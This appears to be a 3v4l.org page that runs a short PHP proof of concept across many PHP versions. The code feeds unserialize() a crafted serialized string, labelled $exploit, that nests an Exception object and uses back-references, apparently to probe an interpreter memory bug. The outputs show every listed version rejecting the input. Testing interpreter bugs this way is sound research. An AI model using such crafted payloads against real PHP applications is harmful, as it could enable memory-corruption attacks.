3v4l.org

run code in 300+ PHP versions simultaneously
<?php class obj { var $prop; function __wakeup() { $this->prop = 1; } } $exploit = 'a:3:{i:0;O:9:"exception":1:{s:17:"'."\0".'Exception'."\0".'string";a:1:{i:0;a:0:{}}i:1;O:3:"obj":1:{s:4:"prop";R:2;}i:2;R:3;}'; $x = unserialize($exploit); for ($i = 0; $i < 5; $i++) { $v[$i] = 'hi'.$i; } var_dump($x);
Output for 8.1.0 - 8.1.28, 8.2.0 - 8.2.18, 8.3.0 - 8.3.6
Fatal error: Uncaught TypeError: Cannot assign array to property Exception::$string of type string in /in/FuXXV:11 Stack trace: #0 /in/FuXXV(11): unserialize('a:3:{i:0;O:9:"e...') #1 {main} thrown in /in/FuXXV on line 11
Process exited with code 255.
Output for 7.1.10 - 7.1.33, 7.2.0 - 7.2.33, 7.3.0 - 7.3.31, 7.4.0 - 7.4.33, 8.0.0 - 8.0.30
Notice: unserialize(): Error at offset 69 of 111 bytes in /in/FuXXV on line 11 bool(false)
Output for 7.3.32 - 7.3.33
bool(false)
Output for 5.4.0 - 5.4.45, 5.5.0 - 5.5.38, 5.6.0 - 5.6.28, 7.0.0 - 7.0.20, 7.1.0 - 7.1.7
Notice: unserialize(): Error at offset 70 of 111 bytes in /in/FuXXV on line 11 bool(false)
preferences:
248.09 ms | 402 KiB | 314 Q